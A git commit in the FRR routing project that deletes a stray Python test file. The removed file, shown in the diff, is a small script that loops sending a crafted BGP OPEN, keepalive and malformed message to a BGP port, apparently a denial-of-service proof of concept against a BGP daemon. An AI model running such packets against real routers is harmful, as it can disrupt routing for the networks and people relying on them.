]> git.puffer.fish Git - matthieu/frr.git/commitdiff
*: remove test python file
authorMark Stapp <mstapp@nvidia.com>
Thu, 4 Aug 2022 15:06:59 +0000 (11:06 -0400)
committerMark Stapp <mstapp@nvidia.com>
Thu, 4 Aug 2022 15:06:59 +0000 (11:06 -0400)
Looks like a test script was added recently; remove it.

Signed-off-by: Mark Stapp <mstapp@nvidia.com>
a.py [deleted file]

diff --git a/a.py b/a.py
deleted file mode 100644 (file)
index 5b0fb67..0000000
--- a/a.py
+++ /dev/null
@@ -1,22 +0,0 @@
-import socket
-from time import sleep
-
-bgp_open = b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00#\x01\x04\x00\x02\x00\x05\xac\x11\x00\x01\xff\xff\x00\x03\x00\x01\x00'
-bgp_keepalive = b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x04'
-bgp_notification = b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x15\x04xv'
-
-while True:
-    try:
-        print("[+] Creating socket...")
-        s = socket.socket(type=socket.SOCK_STREAM)
-        print("[+] Connecting to server...")
-        s.connect(('172.17.0.3', 179))
-        s.send(bgp_open)
-        sleep(0.0009999999)
-        s.send(bgp_keepalive)
-        s.send(bgp_notification)
-    except KeyboardInterrupt:
-        s.close()
-        break
-    except:
-        s.close()